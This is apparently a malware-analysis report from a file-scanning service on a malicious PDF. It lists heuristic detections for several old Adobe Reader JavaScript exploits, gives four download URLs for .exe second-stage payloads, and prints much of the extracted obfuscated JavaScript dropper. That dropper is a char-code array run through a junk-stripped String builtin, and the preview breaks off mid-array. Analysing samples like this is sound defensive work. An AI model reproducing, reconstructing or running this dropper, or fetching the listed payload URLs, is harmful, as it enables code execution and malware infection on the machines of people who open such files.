MALICIOUS
590
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript that leverages multiple known Adobe Reader vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). Static analysis indicates that this JavaScript is designed to download and execute a second-stage payload, as evidenced by the ClamAV detection of an extracted JavaScript exploit shellcode. The exploit triggers are obfuscated using legacy PDF exploit kit techniques.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 13
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-36110
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDERDecoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
-
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://mirroronerofive.com/sleep/dhklny2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/hzcdik2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/czqmrf2.exeReferenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x1A5 | 38924 bytes |
SHA-256: 5cd5564affedaa1f850ede33c8c6ef978aaec6e1ea16271f2c044e602d55e78f |
|||
Preview scriptFirst 1,000 lines of the extracted script
var deikqu=11075;ghkpvw=true;gjkq=false;dghry="dghry";ghijop="ghijop";cdiruv="";befhjx=false;cehnq="";var deoswx="deoswx",klsz=true,zhogqc='',fgrvy=32462,nildfz=0,ijkmuw=String,afnv=ijkmuw['fIrWoWmsCLhEaLrECEoLdWeL'.replace(/[LIsWE]/g,'')],fipr=String,iklsx=fipr['epvuaPlp'.replace(/[puP4R]/g,'')],drsy="49",stux="",wkzp=[65,67,61,159,169,167,151,173,157,168,162,89,154,162,172,152,157,173,92,178,149,171,167,169,96,89,160,158,162,98,175,70,62,66,61,176,156,162,160,158,84,97,173,154,166,172,164,103,160,158,162,160,168,161,84,99,84,107,84,117,84,165,153,167,93,180,65,67,61,66,61,178,149,171,167,169,84,100,113,89,173,154,166,172,164,116,65,67,61,66,177,70,62,66,61,178,149,171,167,169,84,118,84,178,149,171,167,169,98,172,169,155,167,173,166,162,162,160,92,105,96,89,160,158,162,104,102,98,111,70,62,66,61,171,153,173,169,171,162,89,173,154,166,172,164,116,65,67,61,182,65,67,65,67,61,159,169,167,151,173,157,168,162,89,169,173,157,165,147,169,166,162,162,173,154,97,93,180,65,67,61,66,170,154,166,89,164,154,173,165,163,154,152,89,113,89,169,167,153,172,151,154,164,158,92,91,89,174,121,123,121,114,89,174,100,105,100,106,89,174,105,111,100,105,89,174,117,106,106,109,89,174,100,105,103,105,89,174,100,105,100,105,89,174,104,105,108,123,89,174,108,123,100,124,89,174,101,124,107,105,89,174,108,123,117,125,89,174,100,113,104,105,89,174,119,108,105,126,89,174,108,123,105,110,89,174,108,123,121,124,89,174,100,113,104,110,89,174,103,108,105,107,89,174,119,106,120,107,89,174,100,108,119,107,89,174,101,105,103,107,89,174,108,105,104,105,89,174,100,105,103,113,89,174,122,110,107,110,89,174,119,107,108,123,89,174,105,125,105,122,89,174,100,109,119,107,89,174,105,110,100,105,89,174,121,124,108,123,89,174,105,106,105,106,89,174,105,111,105,108,89,174,106,105,105,112,89,174,105,125,108,123,89,174,103,108,100,113,89,174,108,123,119,105,89,174,100,124,107,110,89,174,122,126,108,123,89,174,107,111,100,108,89,174,108,123,103,124,89,174,107,113,104,126,89,174,119,127,100,108,89,174,105,106,108,123,89,174,105,107,101,124,89,174,105,106,108,123,89,174,105,107,102,109,89,174,107,106,108,123,89,174,104,126,101,109,89,174,107,110,108,114,89,174,108,123,122,124,89,174,102,105,107,106,89,174,122,112,100,108,89,174,104,122,109,114,89,174,104,107,117,125,89,174,103,123,106,105,89,174,122,124,105,110,89,174,100,109,107,110,89,174,119,105,103,108,89,174,103,112,121,123,89,174,122,127,103,108,89,174,104,110,100,108,89,174,109,112,100,124,89,174,119,127,108,123,89,174,107,110,117,126,89,174,102,123,122,125,89,174,104,127,122,114,89,174,121,113,105,106,89,174,122,127,109,109,89,174,122,127,122,127,89,174,119,108,103,123,89,174,107,109,106,106,89,174,121,123,100,107,89,174,108,123,120,114,89,174,100,124,104,110,89,174,105,126,109,107,89,174,122,107,100,108,89,174,121,105,120,106,89,174,119,111,100,108,89,174,119,114,103,108,89,174,118,112,100,127,89,174,105,127,100,113,89,174,121,106,119,106,89,174,100,108,100,107,89,174,100,108,119,122,89,174,108,123,119,127,89,174,100,108,100,106,89,174,108,114,119,107,89,174,122,113,104,110,89,174,108,123,106,106,89,174,122,113,104,110,89,174,105,126,105,127,89,174,119,114,105,123,89,174,105,110,119,108,89,174,121,124,108,123,89,174,121,113,105,106,89,174,122,127,104,114,89,174,122,127,122,127,89,174,106,113,105,105,89,174,106,105,121,113,89,174,100,109,118,127,89,174,106,124,121,113,89,174,122,127,122,127,89,174,103,108,122,127,89,174,105,107,120,107,89,174,122,127,105,107,89,174,100,113,107,110,89,174,120,105,122,127,89,174,104,110,108,114,89,174,108,123,122,124,89,174,122,124,104,110,89,174,119,108,119,114,89,174,108,123,105,110,89,174,108,108,121,124,89,174,100,124,121,124,89,174,104,110,108,125,89,174,105,105,122,109,89,174,104,110,119,111,89,174,107,110,122,109,89,174,104,110,119,111,89,174,107,107,122,110,89,174,104,110,119,111,89,174,106,124,122,111,89,174,104,110,119,111,89,174,106,125,122,112,89,174,104,110,119,111,89,174,106,127,122,113,89,174,104,110,119,111,89,174,106,126,122,114,89,174,104,110,119,111,89,174,102,126,122,122,89,174,104,110,119,111,89,174,106,109,122,123,89,174,104,110,119,111,89,174,106,124,122,124,89,174,104,110,119,111,89,174,106,124,122,125,89,174,104,110,119,111,89,174,100,105,122,126,89,174,117,105,121,113,89,174,122,127,122,127,89,174,105,105,122,127,89,174,105,125,106,113,89,174,101,106,108,122,89,174,121,113,101,111,89,174,122,127,101,110,89,174,122,127,122,127,89,174,119,109,108,108,89,174,108,110,100,124,89,174,107,109,119,105,89,174,106,122,101,110,89,174,106,122,100,105,89,174,122,127,100,105,89,174,100,124,107,110,89,174,107,110,122,127,89,174,106,122,100,113,89,174,122,127,100,105,89,174,108,110,120,105,89,174,107,110,119,105,89,174,104,105,100,108,89,174,119,108,119,114,89,174,119,105,103,108,89,174,119,108,119,114,89,174,103,108,105,112,89,174,108,123,119,105,89,174,102,109,104,124,89,174,108,123,100,124,89,174,102,109,107,124,89,174,122,124,100,113,89,174,117,122,122,108,89,174,119,108,105,127,89,174,104,124,108,123,89,174,100,109,102,109,89,174,103,114,108,105,89,174,108,123,100,105,89,174,107,109,119,106,89,174,104,105,100,111,89,174,103,113,108,105,89,174,107,110,100,105,89,174,102,123,122,122,89,174,119,108,119,106,89,174,108,123,105,110,89,174,108,108,121,124,89,174,106,109,121,124,89,174,108,125,105,108,89,174,122,105,104,110,89,174,103,108,105,112,89,174,105,105,120,123,89,174,104,110,119,111,89,174,106,123,122,105,89,174,104,110,119,111,89,174,106,110,122,106,89,174,104,110,119,111,89,174,107,107,122,107,89,174,104,110,119,111,89,174,106,126,122,108,89,174,104,110,119,111,89,174,106,110,122,109,89,174,104,110,119,111,89,174,106,124,122,110,89,174,104,110,119,111,89,174,103,108,122,111,89,174,104,110,119,111,89,174,103,107,122,112,89,174,104,110,119,111,89,174,102,126,122,113,89,174,104,110,119,111,89,174,106,109,122,114,89,174,104,110,119,111,89,174,106,124,122,122,89,174,104,110,119,111,89,174,106,124,122,123,89,174,105,125,108,113,89,174,121,113,122,124,89,174,122,127,100,123,89,174,122,127,122,127,89,174,106,113,105,105,89,174,104,108,106,113,89,174,108,126,122,114,89,174,108,105,121,113,89,174,122,127,122,126,89,174,108,123,122,127,89,174,108,125,122,113,89,174,109,124,104,110,89,174,104,109,106,122,89,174,121,113,105,105,89,174,122,127,107,126,89,174,122,127,122,127,89,174,104,110,108,125,89,174,106,122,121,105,89,174,105,105,101,105,89,174,107,108,121,113,89,174,122,127,122,127,89,174,108,108,122,127,89,174,101,124,119,109,89,174,104,110,108,125,89,174,105,105,121,105,89,174,104,110,108,125,89,174,105,105,109,124,89,174,105,108,105,108,89,174,105,108,105,108,89,174,105,108,105,108,89,174,107,110,122,127,89,174,119,112,100,113,89,174,109,124,104,110,89,174,100,105,104,109,89,174,100,105,100,105,89,174,122,127,105,108,89,174,105,127,120,112,89,174,118,111,100,127,89,174,105,123,119,105,89,174,119,108,119,114,89,174,108,123,105,110,89,174,105,106,121,124,89,174,105,108,105,106,89,174,105,112,105,111,89,174,104,107,106,122,89,174,107,107,121,113,89,174,100,105,100,105,89,174,108,123,100,105,89,174,103,108,120,113,89,174,108,110,122,111,89,174,105,114,120,123,89,174,104,110,119,112,89,174,106,106,122,113,89,174,106,110,102,126,89,174,119,112,107,113,89,174,122,124,104,110,89,174,100,105,106,110,89,174,100,105,100,105,89,174,105,111,107,126,89,174,104,110,108,125,89,174,105,105,122,113,89,174,121,113,105,111,89,174,100,105,105,106,89,174,100,105,100,105,89,174,105,105,105,114,89,174,118,106,121,113,89,174,122,127,122,126,89,174,108,110,122,127,89,174,105,114,119,105,89,174,107,109,105,114,89,174,108,125,103,114,89,174,100,106,104,111,89,174,121,113,105,105,89,174,100,105,103,123,89,174,100,105,100,105,89,174,122,113,108,123,89,174,104,110,108,125,89,174,105,105,122,113,89,174,102,106,121,113,89,174,122,127,122,127,89,174,108,110,122,127,89,174,105,114,119,105,89,174,107,109,105,114,89,174,105,112,100,124,89,174,100,106,121,113,89,174,122,127,122,127,89,174,105,114,122,127,89,174,104,109,119,111,89,174,122,127,103,113,89,174,105,105,107,108,89,174,104,110,108,125,89,174,122,126,122,113,89,174,105,113,100,105,89,174,104,110,108,125,89,174,105,105,122,113,89,174,121,113,105,112,89,174,122,126,107,109,89,174,122,127,122,127,89,174,105,114,105,114,89,174,104,111,104,111,89,174,122,108,103,123,89,174,117,122,107,124,89,174,105,126,105,127,89,174,119,114,105,123,89,174,105,110,119,108,89,174,121,124,108,123,89,174,105,108,105,106,89,174,106,105,106,111,89,174,103,107,118,106,89,174,100,105,121,113,89,174,100,105,100,105,89,174,105,113,100,105,89,174,100,113,103,113,89,174,100,108,107,109,89,174,121,123,104,105,89,174,104,105,122,114,89,174,105,125,108,123,89,174,108,105,100,113,89,174,104,107,122,123,89,174,100,113,107,110,89,174,120,123,103,108,89,174,101,113,108,122,89,174,119,108,108,123,89,174,101,112,121,123,89,174,101,113,103,113,89,174,101,106,107,111,89,174,103,108,104,105,89,174,108,109,119,114,89,174,107,109,120,123,89,174,104,105,100,124,89,174,100,113,103,113,89,174,122,123,107,110,89,174,122,126,104,105,89,174,121,123,119,123,89,174,103,108,122,107,89,174,108,114,119,105,89,174,122,124,104,110,89,174,104,110,108,123,89,174,105,123,122,124,89,174,119,108,119,114,89,174,100,107,103,107,89,174,107,109,106,113,89,174,107,105,107,109,89,174,102,127,103,122,89,174,106,125,102,127,89,174,107,107,106,114,89,174,106,127,107,107,89,174,106,127,107,107,89,174,106,110,106,126,89,174,106,127,107,107,89,174,106,114,106,111,89,174,106,110,107,111,89,174,106,108,102,126,89,174,106,125,106,127,89,174,107,108,102,127,89,174,106,110,106,124,89,174,107,105,106,110,89,174,106,109,102,127,89,174,106,123,106,113,89,174,106,126,106,124,89,174,103,107,107,114,89,174,106,110,102,126,89,174,106,110,107,113,89,174,106,113,100,105,89,174,107,109,107,109,89,174,103,122,107,105,89,174,102,127,102,127,89,174,106,114,106,125,89,174,107,107,107,107,89,174,107,107,106,127,89,174,106,126,106,127,89,174,107,107,106,110,89,174,106,111,106,127,89,174,107,111,106,114,89,174,102,126,106,110,89,174,106,127,106,108,89,174,102,127,106,125,89,174,106,124,107,108,89,174,106,110,106,110,89,174,102,127,107,105,89,174,106,124,106,108,89,174,106,108,106,114,89,174,102,126,106,123,89,174,106,113,107,105,89,174,103,127,107,105,89,174,103,125,107,107,89,174,100,105,100,105,86,98,111,70,62,66,61,175,149,171,84,167,163,169,84,118,84,174,162,158,167,156,149,169,153,97,86,94,169,105,117,105,117,94,169,105,117,105,117,94,169,105,117,105,117,94,169,105,117,105,117,91,93,70,62,66,61,175,149,171,84,161,153,154,164,155,160,168,151,164,84,118,84,167,163,169,84,100,84,169,149,178,160,168,149,157,111,70,62,66,61,175,149,171,84,155,157,160,150,165,163,156,159,89,113,89,169,167,153,172,151,154,164,158,92,91,89,174,100,122,100,122,89,174,100,122,100,122,86,98,111,70,62,66,61,175,149,171,84,161,153,154,152,158,166,172,157,179,153,89,113,89,102,105,111,70,62,66,61,175,149,171,84,172,164,171,149,178,84,118,84,161,153,154,152,158,166,172,157,179,153,89,95,89,156,158,149,169,150,165,163,156,159,103,160,158,162,160,168,161,111,70,62,66,61,176,156,162,160,158,84,97,150,162,155,155,160,168,151,164,98,165,153,167,155,173,156,89,112,89,167,169,166,154,173,98,175,70,62,66,61,66,150,162,155,155,160,168,151,164,84,100,113,89,150,162,155,155,160,168,151,164,111,70,62,66,61,182,65,67,61,66,170,154,166,89,154,162,160,165,150,165,163,156,159,89,113,89,150,162,155,155,160,168,151,164,98,172,169,155,167,173,166,162,162,160,92,105,96,89,167,169,166,154,173,98,111,70,62,66,61,175,149,171,84,155,160,168,151,164,84,118,84,155,157,160,150,165,163,156,159,103,167,174,150,172,168,171,157,167,155,97,100,101,84,155,157,160,150,165,163,156,159,103,160,158,162,160,168,161,97,172,164,171,149,178,93,116,65,67,61,66,171,161,157,165,153,89,92,155,160,168,151,164,98,165,153,167,155,173,156,100,167,169,166,154,173,89,112,89,100,177,104,105,100,105,100,98,175,70,62,66,61,66,150,165,163,156,159,89,113,89,150,165,163,156,159,89,95,89,150,165,163,156,159,89,95,89,154,162,160,165,150,165,163,156,159,116,65,67,61,66,177,70,62,66,61,175,149,171,84,166,153,166,147,154,166,171,149,178,84,118,84,167,153,176,84,122,166,171,149,178,92,98,111,70,62,66,61,159,163,171,84,97,170,154,166,89,157,89,113,89,100,116,84,162,84,117,84,106,104,105,100,116,84,162,95,100,93,180,65,67,61,66,61,166,153,166,147,154,166,171,149,178,143,162,145,89,113,89,150,165,163,156,159,89,95,89,156,158,149,169,150,165,163,156,159,116,65,67,61,66,177,70,62,66,61,175,149,171,84,167,169,166,84,118,84,106,102,114,109,114,109,114,109,114,109,114,109,114,109,114,109,114,109,114,109,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,113,108,116,65,67,61,66,169,173,157,165,98,169,166,162,162,173,154,97,86,94,104,110,100,105,100,159,86,101,84,167,169,166,93,116,65,67,61,182,65,67,65,67,61,159,169,167,151,173,157,168,162,89,151,168,160,165,149,155,147,158,161,154,157,165,92,98,175,70,62,66,61,175,149,171,84,172,156,158,160,165,151,168,152,158,84,118,84,174,162,158,167,156,149,169,153,97,86,94,169,126,118,126,109,94,169,105,100,105,101,94,169,110,106,105,100,94,169,122,101,111,104,94,169,105,100,108,100,94,169,105,100,105,100,94,169,109,100,113,118,94,169,113,118,105,119,94,169,106,119,112,100,94,169,113,118,122,120,94,169,105,108,109,100,94,169,124,103,110,121,94,169,113,118,110,105,94,169,113,118,126,119,94,169,105,108,109,105,94,169,108,103,110,102,94,169,124,101,125,102,94,169,105,103,124,102,94,169,106,100,108,102,94,169,113,100,109,100,94,169,105,100,108,108,94,169,127,105,112,105,94,169,124,102,113,118,94,169,110,120,110,117,94,169,105,104,124,102,94,169,110,105,105,100,94,169,126,119,113,118,94,169,110,101,110,101,94,169,110,106,110,103,94,169,111,100,110,107,94,169,110,120,113,118,94,169,108,103,105,108,94,169,113,118,124,100,94,169,105,119,112,105,94,169,127,121,113,118,94,169,112,106,105,103,94,169,113,118,108,119,94,169,112,108,109,121,94,169,124,122,105,103,94,169,110,101,113,118,94,169,110,102,106,119,94,169,110,101,113,118,94,169,110,102,107,104,94,169,112,101,113,118,94,169,109,121,106,104,94,169,112,105,113,109,94,169,113,118,127,119,94,169,107,100,112,101,94,169,127,107,105,103,94,169,109,117,114,109,94,169,109,102,122,120,94,169,108,118,111,100,94,169,127,119,110,105,94,169,105,104,112,105,94,169,124,100,108,103,94,169,108,107,126,118,94,169,127,122,108,103,94,169,109,105,105,103,94,169,114,107,105,119,94,169,124,122,113,118,94,169,112,105,122,121,94,169,107,118,127,120,94,169,109,122,127,109,94,169,126,108,110,101,94,169,127,122,114,104,94,169,127,122,127,122,94,169,124,103,108,118,94,169,112,104,111,101,94,169,126,118,105,102,94,169,113,118,125,109,94,169,105,119,109,105,94,169,110,121,114,102,94,169,127,102,105,103,94,169,126,100,125,101,94,169,124,106,105,103,94,169,124,109,108,103,94,169,123,107,105,122,94,169,110,122,105,108,94,169,126,101,124,101,94,169,105,103,105,102,94,169,105,103,124,117,94,169,113,118,124,122,94,169,105,103,105,101,94,169,113,109,124,102,94,169,127,108,109,105,94,169,113,118,111,101,94,169,127,108,109,105,94,169,110,121,110,122,94,169,124,109,110,118,94,169,110,105,124,103,94,169,126,119,113,118,94,169,126,108,110,101,94,169,127,122,109,109,94,169,127,122,127,122,94,169,111,108,110,100,94,169,111,100,126,108,94,169,105,104,123,122,94,169,111,119,126,108,94,169,127,122,127,122,94,169,108,103,127,122,94,169,110,102,125,102,94,169,127,122,110,102,94,169,105,108,112,105,94,169,125,100,127,122,94,169,109,105,113,109,94,169,113,118,127,119,94,169,127,119,109,105,94,169,124,103,124,109,94,169,113,118,110,105,94,169,113,103,126,119,94,169,105,119,126,119,94,169,109,105,113,120,94,169,110,100,127,104,94,169,109,105,124,106,94,169,112,105,127,104,94,169,109,105,124,106,94,169,112,102,127,105,94,169,109,105,124,106,94,169,111,119,127,106,94,169,109,105,124,106,94,169,111,120,127,107,94,169,109,105,124,106,94,169,111,122,127,108,94,169,109,105,124,106,94,169,111,121,127,109,94,169,109,105,124,106,94,169,107,121,127,117,94,169,109,105,124,106,94,169,111,104,127,118,94,169,109,105,124,106,94,169,111,119,127,119,94,169,109,105,124,106,94,169,111,119,127,120,94,169,109,105,124,106,94,169,105,100,127,121,94,169,122,100,126,108,94,169,127,122,127,122,94,169,110,100,127,122,94,169,110,120,111,108,94,169,106,101,113,117,94,169,126,108,106,106,94,169,127,122,106,105,94,169,127,122,127,122,94,169,124,104,113,103,94,169,113,105,105,119,94,169,112,104,124,100,94,169,111,117,106,105,94,169,111,117,105,100,94,169,127,122,105,100,94,169,105,119,112,105,94,169,112,105,127,122,94,169,111,117,105,108,94,169,127,122,105,100,94,169,113,105,125,100,94,169,112,105,124,100,94,169,109,100,105,103,94,169,124,103,124,109,94,169,124,100,108,103,94,169,124,103,124,109,94,169,108,103,110,107,94,169,113,118,124,100,94,169,107,104,109,119,94,169,113,118,105,119,94,169,107,104,112,119,94,169,127,119,105,108,94,169,122,117,127,103,94,169,124,103,110,122,94,169,109,119,113,118,94,169,105,104,107,104,94,169,108,109,113,100,94,169,113,118,105,100,94,169,112,104,124,101,94,169,109,100,105,106,94,169,108,108,113,100,94,169,112,105,105,100,94,169,107,118,127,117,94,169,124,103,124,101,94,169,113,118,110,105,94,169,113,103,126,119,94,169,111,104,126,119,94,169,113,120,110,103,94,169,127,100,109,105,94,169,108,103,110,107,94,169,110,100,125,118,94,169,109,105,124,106,94,169,111,118,127,100,94,169,109,105,124,106,94,169,111,105,127,101,94,169,109,105,124,106,94,169,112,102,127,102,94,169,109,105,124,106,94,169,111,121,127,103,94,169,109,105,124,106,94,169,111,105,127,104,94,169,109,105,124,106,94,169,111,119,127,105,94,169,109,105,124,106,94,169,108,103,127,106,94,169,109,105,124,106,94,169,108,102,127,107,94,169,109,105,124,106,94,169,107,121,127,108,94,169,109,105,124,106,94,169,111,104,127,109,94,169,109,105,124,106,94,169,111,119,127,117,94,169,109,105,124,106,94,169,111,119,127,118,94,169,110,120,113,108,94,169,126,108,127,119,94,169,127,122,105,118,94,169,127,122,127,122,94,169,111,108,110,100,94,169,109,103,111,108,94,169,113,121,127,109,94,169,113,100,126,108,94,169,127,122,127,121,94,169,113,118,127,122,94,169,113,120,127,108,94,169,114,119,109,105,94,169,109,104,111,117,94,169,126,108,110,100,94,169,127,122,112,121,94,169,127,122,127,122,94,169,109,105,113,120,94,169,111,117,126,100,94,169,110,100,106,100,94,169,112,103,126,108,94,169,127,122,127,122,94,169,113,103,127,122,94,169,106,119,124,104,94,169,109,105,113,120,94,169,110,100,126,100,94,169,109,105,113,120,94,169,110,100,114,119,94,169,110,103,110,103,94,169,110,103,110,103,94,169,110,103,110,103,94,169,112,105,127,122,94,169,124,107,105,108,94,169,114,119,109,105,94,169,105,100,109,104,94,169,105,100,105,100,94,169,127,122,110,103,94,169,110,122,125,107,94,169,123,106,105,122,94,169,110,118,124,100,94,169,124,103,124,109,94,169,113,118,110,105,94,169,110,101,126,119,94,169,110,103,110,101,94,169,110,107,110,106,94,169,109,102,111,117,94,169,112,102,126,108,94,169,105,100,105,100,94,169,113,118,105,100,94,169,108,103,125,108,94,169,113,105,127,106,94,169,110,109,125,118,94,169,109,105,124,107,94,169,111,101,127,108,94,169,111,105,107,121,94,169,124,107,112,108,94,169,127,119,109,105,94,169,105,100,111,105,94,169,105,100,105,100,94,169,110,106,112,121,94,169,109,105,113,120,94,169,110,100,127,108,94,169,126,108,110,106,94,169,105,100,110,101,94,169,105,100,105,100,94,169,110,100,110,109,94,169,123,101,126,108,94,169,127,122,127,121,94,169,113,105,127,122,94,169,110,109,124,100,94,169,112,104,110,109,94,169,113,120,108,109,94,169,105,101,109,106,94,169,126,108,110,100,94,169,105,100,108,118,94,169,105,100,105,100,94,169,127,108,113,118,94,169,109,105,113,120,94,169,110,100,127,108,94,169,107,101,126,108,94,169,127,122,127,122,94,169,113,105,127,122,94,169,110,109,124,100,94,169,112,104,110,109,94,169,110,107,105,119,94,169,105,101,126,108,94,169,127,122,127,122,94,169,110,109,127,122,94,169,109,104,124,106,94,169,127,122,108,108,94,169,110,100,112,103,94,169,109,105,113,120,94,169,127,121,127,108,94,169,110,108,105,100,94,169,109,105,113,120,94,169,110,100,127,108,94,169,126,108,110,107,94,169,127,121,112,104,94,169,127,122,127,122,94,169,110,109,110,109,94,169,109,106,109,106,94,169,127,103,108,118,94,169,122,117,112,119,94,169,110,121,110,122,94,169,124,109,110,118,94,169,110,105,124,103,94,169,126,119,113,118,94,169,110,103,110,101,94,169,111,100,111,106,94,169,108,102,123,101,94,169,105,100,126,108,94,169,105,100,105,100,94,169,110,108,105,100,94,169,105,108,108,108,94,169,105,103,112,104,94,169,126,118,109,100,94,169,109,100,127,109,94,169,110,120,113,118,94,169,113,100,105,108,94,169,109,102,127,118,94,169,105,108,112,105,94,169,125,118,108,103,94,169,106,108,113,117,94,169,124,103,113,118,94,169,106,107,126,118,94,169,106,108,108,108,94,169,106,101,112,106,94,169,108,103,109,100,94,169,113,104,124,109,94,169,112,104,125,118,94,169,109,100,105,119,94,169,105,108,108,108,94,169,127,118,112,105,94,169,127,121,109,100,94,169,126,118,124,118,94,169,108,103,127,102,94,169,113,109,124,100,94,169,127,119,109,105,94,169,109,105,113,118,94,169,110,118,127,119,94,169,124,103,124,109,94,169,105,102,108,102,94,169,112,104,111,108,94,169,112,100,112,104,94,169,107,122,108,117,94,169,111,120,107,122,94,169,112,102,111,109,94,169,111,122,112,102,94,169,111,122,112,102,94,169,111,105,111,121,94,169,111,122,112,102,94,169,111,109,111,106,94,169,111,105,112,106,94,169,111,103,107,121,94,169,111,120,111,122,94,169,112,103,107,122,94,169,111,105,111,119,94,169,112,100,111,105,94,169,111,108,107,122,94,169,111,103,112,117,94,169,111,109,111,104,94,169,108,102,111,118,94,169,111,105,107,121,94,169,111,105,112,108,94,169,111,108,105,100,94,169,112,104,112,104,94,169,108,117,112,100,94,169,107,122,107,122,94,169,111,109,111,120,94,169,112,102,112,102,94,169,112,102,111,122,94,169,111,121,111,122,94,169,112,102,111,105,94,169,111,106,111,122,94,169,112,106,111,109,94,169,107,121,111,105,94,169,111,122,111,103,94,169,107,122,111,120,94,169,111,119,112,103,94,169,111,105,111,105,94,169,107,122,112,100,94,169,111,119,111,103,94,169,111,103,111,109,94,169,107,121,111,118,94,169,111,108,112,100,94,169,108,122,112,100,94,169,108,120,112,102,94,169,105,100,105,100,91,93,116,65,67,61,66,170,154,166,89,161,158,161,152,149,171,166,154,173,89,113,89,162,158,171,89,117,171,166,154,173,97,93,116,65,67,61,66,170,154,166,89,151,156,84,118,84,105,172,105,151,105,151,105,151,105,151,116,65,67,61,66,170,154,166,89,149,157,152,171,84,118,84,105,172,109,100,105,100,105,100,116,65,67,61,66,170,154,166,89,167,156,147,165,153,167,84,118,84,172,156,158,160,165,151,168,152,158,98,165,153,167,155,173,156,89,94,89,102,116,65,67,61,66,170,154,166,89,160,158,162,89,113,89,149,157,152,171,84,102,84,97,167,156,147,165,153,167,95,105,172,108,108,98,111,70,62,66,61,175,149,171,84,178,149,171,167,169,84,118,84,174,162,158,167,156,149,169,153,97,86,94,169,114,100,114,100,94,169,114,100,114,100,91,93,116,65,67,61,66,173,154,166,172,164,89,113,89,154,162,172,152,157,173,92,178,149,171,167,169,96,89,160,158,162,98,111,70,62,66,61,175,149,171,84,156,163,174,162,173,102,89,113,89,92,156,151,89,97,89,100,177,104,105,100,105,100,105,93,104,149,157,152,171,111,70,62,66,61,159,163,171,84,97,170,154,166,89,151,168,169,167,168,89,113,89,100,116,84,156,163,174,162,173,84,117,84,156,163,174,162,173,102,116,84,156,163,174,162,173,95,100,93,180,65,67,61,66,61,166,153,166,147,154,166,171,149,178,14